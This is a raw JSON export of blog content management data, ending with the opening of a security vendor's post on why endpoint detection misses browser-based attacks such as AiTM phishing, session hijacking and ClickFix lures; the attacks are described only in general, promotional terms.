},{},[10706],{"data":10707,"marks":10708,"value":3792,"nodeType":864},{},[10709],{"type":899},{"data":10711,"content":10712,"nodeType":860},{},[10713],{"data":10714,"marks":10715,"value":3693,"nodeType":864},{},[10716],{"type":899},{"data":10718,"content":10719,"nodeType":860},{},[10720,10723,10729,10732,10736],{"data":10721,"marks":10722,"value":3806,"nodeType":864},{},[],{"data":10724,"content":10725,"nodeType":883},{"uri":3809},[10726],{"data":10727,"marks":10728,"value":3814,"nodeType":864},{},[],{"data":10730,"marks":10731,"value":3818,"nodeType":864},{},[],{"data":10733,"marks":10734,"value":3823,"nodeType":864},{},[10735],{"type":899},{"data":10737,"marks":10738,"value":3827,"nodeType":864},{},[],{"data":10740,"content":10741,"nodeType":860},{},[10742,10745,10751,10754,10758,10761,10768],{"data":10743,"marks":10744,"value":3834,"nodeType":864},{},[],{"data":10746,"content":10747,"nodeType":883},{"uri":3837},[10748],{"data":10749,"marks":10750,"value":3842,"nodeType":864},{},[],{"data":10752,"marks":10753,"value":3846,"nodeType":864},{},[],{"data":10755,"marks":10756,"value":3851,"nodeType":864},{},[10757],{"type":899},{"data":10759,"marks":10760,"value":3855,"nodeType":864},{},[],{"data":10762,"content":10763,"nodeType":883},{"uri":3858},[10764],{"data":10765,"marks":10766,"value":3864,"nodeType":864},{},[10767],{"type":899},{"data":10769,"marks":10770,"value":3868,"nodeType":864},{},[],{"data":10772,"content":10773,"nodeType":860},{},[10774],{"data":10775,"marks":10776,"value":3875,"nodeType":864},{},[],{"data":10778,"content":10779,"nodeType":1005},{},[],{"data":10781,"content":10782,"nodeType":1009},{},[10783],{"data":10784,"marks":10785,"value":3886,"nodeType":864},{},[10786],{"type":899},{"data":10788,"content":10789,"nodeType":860},{},[10790],{"data":10791,"marks":10792,"value":3894,"nodeType":864},{},[10793],{"type":899},{"data":10795,"content":10796,"nodeType":860},{},[10797],{"data":10798,"marks":10799,"value":3901,"nodeType":864},{},[],{"data":10801,"content":10804,"nodeType":996},{"target":10802},{"sys":10803},{"id":3906,"type":1001,"linkType":1002},[],{"data":10806,"content":10807,"nodeType":860},{},[10808],{"data":10809,"marks":10810,"value":3914,"nodeType":864},{},[],{"data":10812,"content":10813,"nodeType":1005},{},[],{"data":10815,"content":10816,"nodeType":1009},{},[10817],{"data":10818,"marks":10819,"value":3925,"nodeType":864},{},[10820],{"type":899},{"data":10822,"content":10823,"nodeType":860},{},[10824],{"data":10825,"marks":10826,"value":3894,"nodeType":864},{},[10827],{"type":899},{"data":10829,"content":10830,"nodeType":860},{},[10831,10834,10841,10844,10850,10853,10859],{"data":10832,"marks":10833,"value":3939,"nodeType":864},{},[],{"data":10835,"content":10836,"nodeType":883},{"uri":3942},[10837],{"data":10838,"marks":10839,"value":3948,"nodeType":864},{},[10840],{"type":1455},{"data":10842,"marks":10843,"value":3731,"nodeType":864},{},[],{"data":10845,"content":10846,"nodeType":883},{"uri":3954},[10847],{"data":10848,"marks":10849,"value":3959,"nodeType":864},{},[],{"data":10851,"marks":10852,"value":3731,"nodeType":864},{},[],{"data":10854,"content":10855,"nodeType":883},{"uri":3965},[10856],{"data":10857,"marks":10858,"value":3970,"nodeType":864},{},[],{"data":10860,"marks":10861,"value":3974,"nodeType":864},{},[],{"data":10863,"content":10864,"nodeType":860},{},[10865,10868,10875,10878,10882,10885,10889],{"data":10866,"marks":10867,"value":21,"nodeType":864},{},[],{"data":10869,"content":10870,"nodeType":883},{"uri":2411},[10871],{"data":10872,"marks":10873,"value":3988,"nodeType":864},{},[10874],{"type":1455},{"data":10876,"marks":10877,"value":3992,"nodeType":864},{},[],{"data":10879,"marks":10880,"value":3997,"nodeType":864},{},[10881],{"type":899},{"data":10883,"marks":10884,"value":4001,"nodeType":864},{},[],{"data":10886,"marks":10887,"value":4006,"nodeType":864},{},[10888],{"type":2246},{"data":10890,"marks":10891,"value":4010,"nodeType":864},{},[],{"data":10893,"content":10894,"nodeType":860},{},[10895],{"data":10896,"marks":10897,"value":4017,"nodeType":864},{},[],{"data":10899,"content":10900,"nodeType":1005},{},[],{"data":10902,"content":10903,"nodeType":1009},{},[10904],{"data":10905,"marks":10906,"value":4028,"nodeType":864},{},[10907],{"type":899},{"data":10909,"content":10910,"nodeType":860},{},[10911],{"data":10912,"marks":10913,"value":3894,"nodeType":864},{},[10914],{"type":899},{"data":10916,"content":10917,"nodeType":860},{},[10918,10921,10925,10928,10932],{"data":10919,"marks":10920,"value":4042,"nodeType":864},{},[],{"data":10922,"marks":10923,"value":4047,"nodeType":864},{},[10924],{"type":2246},{"data":10926,"marks":10927,"value":4051,"nodeType":864},{},[],{"data":10929,"marks":10930,"value":4056,"nodeType":864},{},[10931],{"type":2246},{"data":10933,"marks":10934,"value":4060,"nodeType":864},{},[],{"data":10936,"content":10937,"nodeType":860},{},[10938],{"data":10939,"marks":10940,"value":4067,"nodeType":864},{},[],{"data":10942,"content":10943,"nodeType":941},{},[10944,10962],{"data":10945,"content":10946,"nodeType":945},{},[10947],{"data":10948,"content":10949,"nodeType":860},{},[10950,10953,10959],{"data":10951,"marks":10952,"value":2761,"nodeType":864},{},[],{"data":10954,"content":10955,"nodeType":883},{"uri":4082},[10956],{"data":10957,"marks":10958,"value":4087,"nodeType":864},{},[],{"data":10960,"marks":10961,"value":4091,"nodeType":864},{},[],{"data":10963,"content":10964,"nodeType":945},{},[10965],{"data":10966,"content":10967,"nodeType":860},{},[10968,10971,10977],{"data":10969,"marks":10970,"value":2761,"nodeType":864},{},[],{"data":10972,"content":10973,"nodeType":883},{"uri":4103},[10974],{"data":10975,"marks":10976,"value":4108,"nodeType":864},{},[],{"data":10978,"marks":10979,"value":4112,"nodeType":864},{},[],{"data":10981,"content":10982,"nodeType":860},{},[10983],{"data":10984,"marks":10985,"value":4119,"nodeType":864},{},[],{"data":10987,"content":10988,"nodeType":1005},{},[],{"data":10990,"content":10991,"nodeType":1009},{},[10992],{"data":10993,"marks":10994,"value":4130,"nodeType":864},{},[10995],{"type":899},{"data":10997,"content":10998,"nodeType":860},{},[10999],{"data":11000,"marks":11001,"value":4138,"nodeType":864},{},[11002],{"type":899},{"data":11004,"content":11005,"nodeType":860},{},[11006,11009,11013,11016,11022,11025,11029,11032,11036],{"data":11007,"marks":11008,"value":4145,"nodeType":864},{},[],{"data":11010,"marks":11011,"value":4150,"nodeType":864},{},[11012],{"type":899},{"data":11014,"marks":11015,"value":4154,"nodeType":864},{},[],{"data":11017,"content":11018,"nodeType":883},{"uri":3237},[11019],{"data":11020,"marks":11021,"value":4161,"nodeType":864},{},[],{"data":11023,"marks":11024,"value":4165,"nodeType":864},{},[],{"data":11026,"marks":11027,"value":4170,"nodeType":864},{},[11028],{"type":899},{"data":11030,"marks":11031,"value":4174,"nodeType":864},{},[],{"data":11033,"marks":11034,"value":4179,"nodeType":864},{},[11035],{"type":899},{"data":11037,"marks":11038,"value":4183,"nodeType":864},{},[],{"data":11040,"content":11041,"nodeType":860},{},[11042],{"data":11043,"marks":11044,"value":4190,"nodeType":864},{},[],{"data":11046,"content":11049,"nodeType":996},{"target":11047},{"sys":11048},{"id":4195,"type":1001,"linkType":1002},[],{"data":11051,"content":11052,"nodeType":1005},{},[],{"data":11054,"content":11055,"nodeType":1009},{},[11056],{"data":11057,"marks":11058,"value":4207,"nodeType":864},{},[11059],{"type":899},{"data":11061,"content":11062,"nodeType":860},{},[11063],{"data":11064,"marks":11065,"value":4215,"nodeType":864},{},[11066],{"type":899},{"data":11068,"content":11069,"nodeType":860},{},[11070,11073,11080,11083,11090],{"data":11071,"marks":11072,"value":4222,"nodeType":864},{},[],{"data":11074,"content":11075,"nodeType":883},{"uri":2561},[11076],{"data":11077,"marks":11078,"value":4230,"nodeType":864},{},[11079],{"type":899},{"data":11081,"marks":11082,"value":4234,"nodeType":864},{},[],{"data":11084,"content":11085,"nodeType":883},{"uri":4237},[11086],{"data":11087,"marks":11088,"value":4243,"nodeType":864},{},[11089],{"type":899},{"data":11091,"marks":11092,"value":4247,"nodeType":864},{},[],{"data":11094,"content":11095,"nodeType":860},{},[11096],{"data":11097,"marks":11098,"value":4254,"nodeType":864},{},[],{"data":11100,"content":11103,"nodeType":996},{"target":11101},{"sys":11102},{"id":4259,"type":1001,"linkType":1002},[],{"data":11105,"content":11106,"nodeType":860},{},[11107],{"data":11108,"marks":11109,"value":4267,"nodeType":864},{},[],{"data":11111,"content":11112,"nodeType":1005},{},[],{"data":11114,"content":11115,"nodeType":1009},{},[11116],{"data":11117,"marks":11118,"value":4278,"nodeType":864},{},[11119],{"type":899},{"data":11121,"content":11122,"nodeType":860},{},[11123],{"data":11124,"marks":11125,"value":4286,"nodeType":864},{},[11126],{"type":899},{"data":11128,"content":11129,"nodeType":860},{},[11130,11133,11137,11140,11147],{"data":11131,"marks":11132,"value":4293,"nodeType":864},{},[],{"data":11134,"marks":11135,"value":4298,"nodeType":864},{},[11136],{"type":2246},{"data":11138,"marks":11139,"value":4302,"nodeType":864},{},[],{"data":11141,"content":11142,"nodeType":883},{"uri":4305},[11143],{"data":11144,"marks":11145,"value":4311,"nodeType":864},{},[11146],{"type":899},{"data":11148,"marks":11149,"value":4315,"nodeType":864},{},[],{"data":11151,"content":11152,"nodeType":860},{},[11153],{"data":11154,"marks":11155,"value":4322,"nodeType":864},{},[],{"data":11157,"content":11158,"nodeType":860},{},[11159],{"data":11160,"marks":11161,"value":4329,"nodeType":864},{},[],{"data":11163,"content":11164,"nodeType":860},{},[11165],{"data":11166,"marks":11167,"value":4336,"nodeType":864},{},[],{"data":11169,"content":11170,"nodeType":1005},{},[],{"data":11172,"content":11173,"nodeType":1009},{},[11174],{"data":11175,"marks":11176,"value":4347,"nodeType":864},{},[11177],{"type":899},{"data":11179,"content":11180,"nodeType":860},{},[11181],{"data":11182,"marks":11183,"value":4355,"nodeType":864},{},[11184],{"type":899},{"data":11186,"content":11187,"nodeType":860},{},[11188],{"data":11189,"marks":11190,"value":4362,"nodeType":864},{},[],{"data":11192,"content":11195,"nodeType":996},{"target":11193},{"sys":11194},{"id":4367,"type":1001,"linkType":1002},[],{"data":11197,"content":11198,"nodeType":860},{},[11199],{"data":11200,"marks":11201,"value":4375,"nodeType":864},{},[],{"data":11203,"content":11204,"nodeType":941},{},[11205,11214],{"data":11206,"content":11207,"nodeType":945},{},[11208],{"data":11209,"content":11210,"nodeType":860},{},[11211],{"data":11212,"marks":11213,"value":4388,"nodeType":864},{},[],{"data":11215,"content":11216,"nodeType":945},{},[11217],{"data":11218,"content":11219,"nodeType":860},{},[11220],{"data":11221,"marks":11222,"value":4398,"nodeType":864},{},[],{"data":11224,"content":11225,"nodeType":860},{},[11226,11229,11236,11239,11243],{"data":11227,"marks":11228,"value":4405,"nodeType":864},{},[],{"data":11230,"content":11231,"nodeType":883},{"uri":4408},[11232],{"data":11233,"marks":11234,"value":4414,"nodeType":864},{},[11235],{"type":899},{"data":11237,"marks":11238,"value":4418,"nodeType":864},{},[],{"data":11240,"marks":11241,"value":4423,"nodeType":864},{},[11242],{"type":2246},{"data":11244,"marks":11245,"value":4427,"nodeType":864},{},[],{"data":11247,"content":11248,"nodeType":1005},{},[],{"data":11250,"content":11251,"nodeType":1009},{},[11252],{"data":11253,"marks":11254,"value":4438,"nodeType":864},{},[11255],{"type":899},{"data":11257,"content":11258,"nodeType":860},{},[11259],{"data":11260,"marks":11261,"value":4446,"nodeType":864},{},[11262],{"type":899},{"data":11264,"content":11265,"nodeType":860},{},[11266],{"data":11267,"marks":11268,"value":4453,"nodeType":864},{},[],{"data":11270,"content":11271,"nodeType":860},{},[11272],{"data":11273,"marks":11274,"value":4460,"nodeType":864},{},[],{"data":11276,"content":11277,"nodeType":1005},{},[],{"data":11279,"content":11280,"nodeType":1009},{},[11281],{"data":11282,"marks":11283,"value":4471,"nodeType":864},{},[11284],{"type":899},{"data":11286,"content":11287,"nodeType":941},{},[11288,11301,11314,11327],{"data":11289,"content":11290,"nodeType":945},{},[11291],{"data":11292,"content":11293,"nodeType":860},{},[11294,11298],{"data":11295,"marks":11296,"value":4485,"nodeType":864},{},[11297],{"type":899},{"data":11299,"marks":11300,"value":4489,"nodeType":864},{},[],{"data":11302,"content":11303,"nodeType":945},{},[11304],{"data":11305,"content":11306,"nodeType":860},{},[11307,11311],{"data":11308,"marks":11309,"value":4500,"nodeType":864},{},[11310],{"type":899},{"data":11312,"marks":11313,"value":4504,"nodeType":864},{},[],{"data":11315,"content":11316,"nodeType":945},{},[11317],{"data":11318,"content":11319,"nodeType":860},{},[11320,11324],{"data":11321,"marks":11322,"value":4515,"nodeType":864},{},[11323],{"type":899},{"data":11325,"marks":11326,"value":4519,"nodeType":864},{},[],{"data":11328,"content":11329,"nodeType":945},{},[11330],{"data":11331,"content":11332,"nodeType":860},{},[11333,11337],{"data":11334,"marks":11335,"value":781,"nodeType":864},{},[11336],{"type":899},{"data":11338,"marks":11339,"value":4533,"nodeType":864},{},[],{"data":11341,"content":11342,"nodeType":1005},{},[],{"data":11344,"content":11345,"nodeType":1009},{},[11346],{"data":11347,"marks":11348,"value":4544,"nodeType":864},{},[11349],{"type":899},{"data":11351,"content":11352,"nodeType":860},{},[11353],{"data":11354,"marks":11355,"value":4551,"nodeType":864},{},[],{"data":11357,"content":11358,"nodeType":4845},{},[11359,11382,11404,11426,11448,11470,11492,11514,11536,11558,11580,11602],{"data":11360,"content":11361,"nodeType":4581},{},[11362,11372],{"data":11363,"content":11364,"nodeType":4569},{},[11365],{"data":11366,"content":11367,"nodeType":860},{},[11368],{"data":11369,"marks":11370,"value":4568,"nodeType":864},{},[11371],{"type":899},{"data":11373,"content":11374,"nodeType":4569},{},[11375],{"data":11376,"content":11377,"nodeType":860},{},[11378],{"data":11379,"marks":11380,"value":4580,"nodeType":864},{},[11381],{"type":899},{"data":11383,"content":11384,"nodeType":4581},{},[11385,11395],{"data":11386,"content":11387,"nodeType":4569},{},[11388],{"data":11389,"content":11390,"nodeType":860},{},[11391],{"data":11392,"marks":11393,"value":4595,"nodeType":864},{},[11394],{"type":899},{"data":11396,"content":11397,"nodeType":4569},{},[11398],{"data":11399,"content":11400,"nodeType":860},{},[11401],{"data":11402,"marks":11403,"value":4605,"nodeType":864},{},[],{"data":11405,"content":11406,"nodeType":4581},{},[11407,11417],{"data":11408,"content":11409,"nodeType":4569},{},[11410],{"data":11411,"content":11412,"nodeType":860},{},[11413],{"data":11414,"marks":11415,"value":4619,"nodeType":864},{},[11416],{"type":899},{"data":11418,"content":11419,"nodeType":4569},{},[11420],{"data":11421,"content":11422,"nodeType":860},{},[11423],{"data":11424,"marks":11425,"value":4629,"nodeType":864},{},[],{"data":11427,"content":11428,"nodeType":4581},{},[11429,11439],{"data":11430,"content":11431,"nodeType":4569},{},[11432],{"data":11433,"content":11434,"nodeType":860},{},[11435],{"data":11436,"marks":11437,"value":4643,"nodeType":864},{},[11438],{"type":899},{"data":11440,"content":11441,"nodeType":4569},{},[11442],{"data":11443,"content":11444,"nodeType":860},{},[11445],{"data":11446,"marks":11447,"value":4653,"nodeType":864},{},[],{"data":11449,"content":11450,"nodeType":4581},{},[11451,11461],{"data":11452,"content":11453,"nodeType":4569},{},[11454],{"data":11455,"content":11456,"nodeType":860},{},[11457],{"data":11458,"marks":11459,"value":4667,"nodeType":864},{},[11460],{"type":899},{"data":11462,"content":11463,"nodeType":4569},{},[11464],{"data":11465,"content":11466,"nodeType":860},{},[11467],{"data":11468,"marks":11469,"value":4677,"nodeType":864},{},[],{"data":11471,"content":11472,"nodeType":4581},{},[11473,11483],{"data":11474,"content":11475,"nodeType":4569},{},[11476],{"data":11477,"content":11478,"nodeType":860},{},[11479],{"data":11480,"marks":11481,"value":4691,"nodeType":864},{},[11482],{"type":899},{"data":11484,"content":11485,"nodeType":4569},{},[11486],{"data":11487,"content":11488,"nodeType":860},{},[11489],{"data":11490,"marks":11491,"value":4701,"nodeType":864},{},[],{"data":11493,"content":11494,"nodeType":4581},{},[11495,11505],{"data":11496,"content":11497,"nodeType":4569},{},[11498],{"data":11499,"content":11500,"nodeType":860},{},[11501],{"data":11502,"marks":11503,"value":4715,"nodeType":864},{},[11504],{"type":899},{"data":11506,"content":11507,"nodeType":4569},{},[11508],{"data":11509,"content":11510,"nodeType":860},{},[11511],{"data":11512,"marks":11513,"value":4725,"nodeType":864},{},[],{"data":11515,"content":11516,"nodeType":4581},{},[11517,11527],{"data":11518,"content":11519,"nodeType":4569},{},[11520],{"data":11521,"content":11522,"nodeType":860},{},[11523],{"data":11524,"marks":11525,"value":4739,"nodeType":864},{},[11526],{"type":899},{"data":11528,"content":11529,"nodeType":4569},{},[11530],{"data":11531,"content":11532,"nodeType":860},{},[11533],{"data":11534,"marks":11535,"value":4749,"nodeType":864},{},[],{"data":11537,"content":11538,"nodeType":4581},{},[11539,11549],{"data":11540,"content":11541,"nodeType":4569},{},[11542],{"data":11543,"content":11544,"nodeType":860},{},[11545],{"data":11546,"marks":11547,"value":4763,"nodeType":864},{},[11548],{"type":899},{"data":11550,"content":11551,"nodeType":4569},{},[11552],{"data":11553,"content":11554,"nodeType":860},{},[11555],{"data":11556,"marks":11557,"value":4773,"nodeType":864},{},[],{"data":11559,"content":11560,"nodeType":4581},{},[11561,11571],{"data":11562,"content":11563,"nodeType":4569},{},[11564],{"data":11565,"content":11566,"nodeType":860},{},[11567],{"data":11568,"marks":11569,"value":4787,"nodeType":864},{},[11570],{"type":899},{"data":11572,"content":11573,"nodeType":4569},{},[11574],{"data":11575,"content":11576,"nodeType":860},{},[11577],{"data":11578,"marks":11579,"value":4797,"nodeType":864},{},[],{"data":11581,"content":11582,"nodeType":4581},{},[11583,11593],{"data":11584,"content":11585,"nodeType":4569},{},[11586],{"data":11587,"content":11588,"nodeType":860},{},[11589],{"data":11590,"marks":11591,"value":4811,"nodeType":864},{},[11592],{"type":899},{"data":11594,"content":11595,"nodeType":4569},{},[11596],{"data":11597,"content":11598,"nodeType":860},{},[11599],{"data":11600,"marks":11601,"value":4821,"nodeType":864},{},[],{"data":11603,"content":11604,"nodeType":4581},{},[11605,11615],{"data":11606,"content":11607,"nodeType":4569},{},[11608],{"data":11609,"content":11610,"nodeType":860},{},[11611],{"data":11612,"marks":11613,"value":4500,"nodeType":864},{},[11614],{"type":899},{"data":11616,"content":11617,"nodeType":4569},{},[11618],{"data":11619,"content":11620,"nodeType":860},{},[11621],{"data":11622,"marks":11623,"value":4844,"nodeType":864},{},[],{"data":11625,"content":11626,"nodeType":1005},{},[],{"data":11628,"content":11629,"nodeType":860},{},[11630,11633,11639],{"data":11631,"marks":11632,"value":4855,"nodeType":864},{},[],{"data":11634,"content":11635,"nodeType":883},{"uri":1700},[11636],{"data":11637,"marks":11638,"value":1703,"nodeType":864},{},[],{"data":11640,"marks":11641,"value":21,"nodeType":864},{},[],{"items":11643},[11644,11646],{"sys":11645,"name":297},{"id":2732},{"sys":11647,"name":2729},{"id":2728},{"items":11649},[11650],{"fullName":4878,"firstName":4879,"jobTitle":851,"profilePicture":11651},{"url":4881},"why-your-training-budget-belongs-in-real-time-browser-security","blog/why-your-training-budget-belongs-in-real-time-browser-security",{"json":11655},{"data":11656,"content":11657,"nodeType":856},{},[11658],{"data":11659,"content":11660,"nodeType":860},{},[11661],{"data":11662,"marks":11663,"value":11664,"nodeType":864},{},[],"Organizations spend billions annually on security awareness training, but can't keep up with attack evolution. Browser-based technical controls can make the difference where training falls short.","Organizations spend billions annually on awareness training. Here's why browser-based technical controls can make the difference where training falls short. ",{"id":11667,"publishedAt":11668},"3UADFvNqybXoCYlWtJPohK","2026-08-12T11:52:40.899Z",{"items":11670},[11671,11673],{"sys":11672,"name":297},{"id":2732},{"sys":11674,"name":342},{"id":6596},{"items":11676},[11677,11679,11681,11683,11685,11687,11689,11691,11693,11695,11697,11699,11701,11703],{"sys":11678,"name":297,"slug":298,"tier":31},{"id":294},{"sys":11680,"name":519,"slug":520,"tier":31},{"id":516},{"sys":11682,"name":279,"slug":280,"tier":31},{"id":276},{"sys":11684,"name":554,"slug":555,"tier":45},{"id":551},{"sys":11686,"name":261,"slug":262,"tier":45},{"id":258},{"sys":11688,"name":315,"slug":316,"tier":45},{"id":312},{"sys":11690,"name":475,"slug":476,"tier":45},{"id":472},{"sys":11692,"name":440,"slug":441,"tier":45},{"id":437},{"sys":11694,"name":360,"slug":361,"tier":45},{"id":357},{"sys":11696,"name":607,"slug":608,"tier":45},{"id":604},{"sys":11698,"name":422,"slug":423,"tier":45},{"id":419},{"sys":11700,"name":324,"slug":325,"tier":45},{"id":321},{"sys":11702,"name":571,"slug":572,"tier":45},{"id":568},{"sys":11704,"name":244,"slug":245,"tier":45},{"id":241},"AUI3W3xOkFC745RamDcux4zdpTSSzBzbv9oKjLfOMco",{"id":11707,"title":11708,"authorsCollection":11709,"content":11716,"extension":228,"faqItemsCollection":12584,"faqTitle":59,"featured":6,"hashTags":59,"meta":12586,"metaTitle":12587,"ogImage":59,"postType":8776,"publishedDate":10555,"relatedBlogPostsCollection":12588,"slug":14692,"stem":14693,"subtitle":59,"summary":14694,"synopsis":14705,"sys":14706,"tagsCollection":14709,"topicsCollection":14715,"__hash__":14747},"blog/blog/why-modern-browser-attacks-evade-edr.json","Your EDR is working exactly as intended. Attackers are getting around it anyway.",{"items":11710},[11711],{"fullName":11712,"firstName":11713,"jobTitle":851,"socialLinks":59,"profilePicture":11714},"Peyton Padfield","Peyton",{"url":11715},"https://images.ctfassets.net/y1cdw1ablpvd/1GU01HXElmc07nwi89qP3b/3188050420106c62e9df2ed4e4893b7f/1677005177901__1_.jpeg",{"json":11717,"links":12510},{"data":11718,"content":11719,"nodeType":856},{},[11720,11728,11735,11742,11749,11756,11776,11794,11797,11805,11812,11829,11834,11852,11859,11862,11870,11877,11884,11891,11898,11905,11923,11930,11947,11954,11970,11977,11994,12001,12028,12034,12037,12045,12052,12060,12089,12097,12104,12111,12119,12159,12165,12168,12176,12183,12191,12198,12205,12213,12220,12228,12235,12243,12250,12276,12282,12285,12293,12300,12308,12315,12322,12330,12337,12344,12351,12359,12366,12373,12379,12382,12390,12397,12463,12471,12490,12493],{"data":11721,"content":11722,"nodeType":1009},{},[11723],{"data":11724,"marks":11725,"value":11727,"nodeType":864},{},[11726],{"type":899},"Why endpoint security has a blind spot in the browser ",{"data":11729,"content":11730,"nodeType":860},{},[11731],{"data":11732,"marks":11733,"value":11734,"nodeType":864},{},[],"Modern EDR makes compromising the OS hard. Process execution, memory behavior, file system changes: all of it under real-time scrutiny from an agent that never sleeps. Getting in through the endpoint is expensive, noisy, and increasingly not worth the effort.",{"data":11736,"content":11737,"nodeType":860},{},[11738],{"data":11739,"marks":11740,"value":11741,"nodeType":864},{},[],"So attackers expanded their focus. ",{"data":11743,"content":11744,"nodeType":860},{},[11745],{"data":11746,"marks":11747,"value":11748,"nodeType":864},{},[],"The browser is the logical target. It's where work happens now. Authentication, data access, application administration, sensitive file handling — all of it inside a browser tab, with no real security instrumentation, no behavioral detection, and no one paying attention. ",{"data":11750,"content":11751,"nodeType":860},{},[11752],{"data":11753,"marks":11754,"value":11755,"nodeType":864},{},[],"The endpoint got Falcon, Defender, Singularity, Cortex, etc. The browser didn't. And the economics made the choice obvious: a PhaaS kit that proxies credentials and steals session tokens costs about $1k a year, a credential list off a dark web marketplace runs $15, and an admin-level account from an initial access broker goes for a few thousand dollars. None of those require getting past an endpoint agent.",{"data":11757,"content":11758,"nodeType":860},{},[11759,11763,11772],{"data":11760,"marks":11761,"value":11762,"nodeType":864},{},[],"We've written before about ",{"data":11764,"content":11766,"nodeType":883},{"uri":11765},"https://pushsecurity.com/blog/push-plus-endpoint-security",[11767],{"data":11768,"marks":11769,"value":11771,"nodeType":864},{},[11770],{"type":1455},"how Push and endpoint security fit together",{"data":11773,"marks":11774,"value":11775,"nodeType":864},{},[]," and how the two layers complement each other. This post goes further into why succeeding at securing the endpoint isn't enough on its own, and why the gap between what EDR sees and what actually happens in the browser is exactly where attackers have built their playbook.",{"data":11777,"content":11778,"nodeType":860},{},[11779,11782,11790],{"data":11780,"marks":11781,"value":21,"nodeType":864},{},[],{"data":11783,"content":11784,"nodeType":883},{"uri":3237},[11785],{"data":11786,"marks":11787,"value":11789,"nodeType":864},{},[11788],{"type":1455},"82% of attack detections are now malware-free",{"data":11791,"marks":11792,"value":11793,"nodeType":864},{},[],", according to CrowdStrike's 2026 Global Threat Report, and that's not because attackers got more sophisticated. If anything, the barrier to entry is considerably lower now. It's because they got smarter about where to target their efforts.",{"data":11795,"content":11796,"nodeType":1005},{},[],{"data":11798,"content":11799,"nodeType":1009},{},[11800],{"data":11801,"marks":11802,"value":11804,"nodeType":864},{},[11803],{"type":899},"What EDR actually sees",{"data":11806,"content":11807,"nodeType":860},{},[11808],{"data":11809,"marks":11810,"value":11811,"nodeType":864},{},[],"Before behavioral detection, defense meant chasing known-bad indicators: a malicious hash was identified, it got blocked, the attacker changed the hash, and the cycle repeated indefinitely. EDR broke that dynamic by running an agent inside the operating system and watching what actually happened on the host — process execution, file system changes, memory behavior, registry modifications.",{"data":11813,"content":11814,"nodeType":860},{},[11815,11818,11825],{"data":11816,"marks":11817,"value":2761,"nodeType":864},{},[],{"data":11819,"content":11820,"nodeType":883},{"uri":7425},[11821],{"data":11822,"marks":11823,"value":11824,"nodeType":864},{},[],"Pyramid of Pain",{"data":11826,"marks":11827,"value":11828,"nodeType":864},{},[]," explains why this worked. Tools and indicators at the bottom of the pyramid are trivially easy for attackers to rotate, while behavioral TTPs at the top are expensive to change. EDR moved detection up the pyramid, which is why fileless attacks, living-off-the-land techniques, and lateral movement started getting caught. It's also why attackers shifted their focus away from the OS.",{"data":11830,"content":11833,"nodeType":996},{"target":11831},{"sys":11832},{"id":7515,"type":1001,"linkType":1002},[],{"data":11835,"content":11836,"nodeType":860},{},[11837,11841,11848],{"data":11838,"marks":11839,"value":11840,"nodeType":864},{},[],"All of that visibility ends at the browser boundary. From the EDR agent's perspective, Chrome is a well-behaved process. It opens, connects to the internet, does browser things. The agent can see the process, but it can't see which tab is open, what the page is rendering, what scripts are executing, or whether the login form the user just submitted was real or a convincing ",{"data":11842,"content":11843,"nodeType":883},{"uri":5914},[11844],{"data":11845,"marks":11846,"value":11847,"nodeType":864},{},[],"cloned page",{"data":11849,"marks":11850,"value":11851,"nodeType":864},{},[],". It doesn't know whether the session token that just got issued is about to leave the organization.",{"data":11853,"content":11854,"nodeType":860},{},[11855],{"data":11856,"marks":11857,"value":11858,"nodeType":864},{},[],"For browser-based attacks, EDR registers nothing unusual, because nothing unusual happened at the OS layer. EDR worked — but the attackers worked around it.",{"data":11860,"content":11861,"nodeType":1005},{},[],{"data":11863,"content":11864,"nodeType":1009},{},[11865],{"data":11866,"marks":11867,"value":11869,"nodeType":864},{},[11868],{"type":899},"The attack surface has moved beyond the endpoint",{"data":11871,"content":11872,"nodeType":860},{},[11873],{"data":11874,"marks":11875,"value":11876,"nodeType":864},{},[],"Attackers didn't stumble into the browser. They moved there deliberately, and the tooling reflects it.",{"data":11878,"content":11879,"nodeType":860},{},[11880],{"data":11881,"marks":11882,"value":11883,"nodeType":864},{},[],"The numbers tell the story. PhaaS-driven account compromise surged 389% year-over-year according to eSentire. Fake CAPTCHA lures used in ClickFix attacks increased 563% in 2025, according to CrowdStrike, and ClickFix is now the most common initial access vector observed by Microsoft, accounting for 47% of attacks. ",{"data":11885,"content":11886,"nodeType":860},{},[11887],{"data":11888,"marks":11889,"value":11890,"nodeType":864},{},[],"We see it too; in a single 30-day proof-of-value deployment at a financial services organization, Push detected 6 ClickFix attacks and 10 AiTM phishing attempts that were invisible to the existing security stack.",{"data":11892,"content":11893,"nodeType":860},{},[11894],{"data":11895,"marks":11896,"value":11897,"nodeType":864},{},[],"These aren't niche techniques. They're the dominant playbook, and none of them need to touch the endpoint to succeed, or for an attacker to achieve their goals.",{"data":11899,"content":11900,"nodeType":1312},{},[11901],{"data":11902,"marks":11903,"value":261,"nodeType":864},{},[11904],{"type":899},{"data":11906,"content":11907,"nodeType":860},{},[11908,11911,11919],{"data":11909,"marks":11910,"value":21,"nodeType":864},{},[],{"data":11912,"content":11914,"nodeType":883},{"uri":11913},"https://pushsecurity.com/solution/stop-browser-based-attacks/adversary-in-the-middle-attacks",[11915],{"data":11916,"marks":11917,"value":11918,"nodeType":864},{},[],"AiTM phishing kits",{"data":11920,"marks":11921,"value":11922,"nodeType":864},{},[]," render a convincing login page inside the browser, proxy the authentication in real time, and lift the session token as it passes through. The user completes what feels like a normal login; the attacker gets a valid session. The OS saw a browser connecting to a website.",{"data":11924,"content":11925,"nodeType":1312},{},[11926],{"data":11927,"marks":11928,"value":571,"nodeType":864},{},[11929],{"type":899},{"data":11931,"content":11932,"nodeType":860},{},[11933,11936,11943],{"data":11934,"marks":11935,"value":21,"nodeType":864},{},[],{"data":11937,"content":11939,"nodeType":883},{"uri":11938},"https://pushsecurity.com/solution/stop-browser-based-attacks/session-hijacking",[11940],{"data":11941,"marks":11942,"value":571,"nodeType":864},{},[],{"data":11944,"marks":11945,"value":11946,"nodeType":864},{},[]," skips authentication entirely by targeting an existing session. By stealing and replaying a token acquired by an infostealer, or a malicious browser extension, they can import the session into their own browser and continue using it — there's no password prompt, no MFA challenge, no re-authentication. The session blends into normal browser activity and generates nothing an endpoint agent was built to 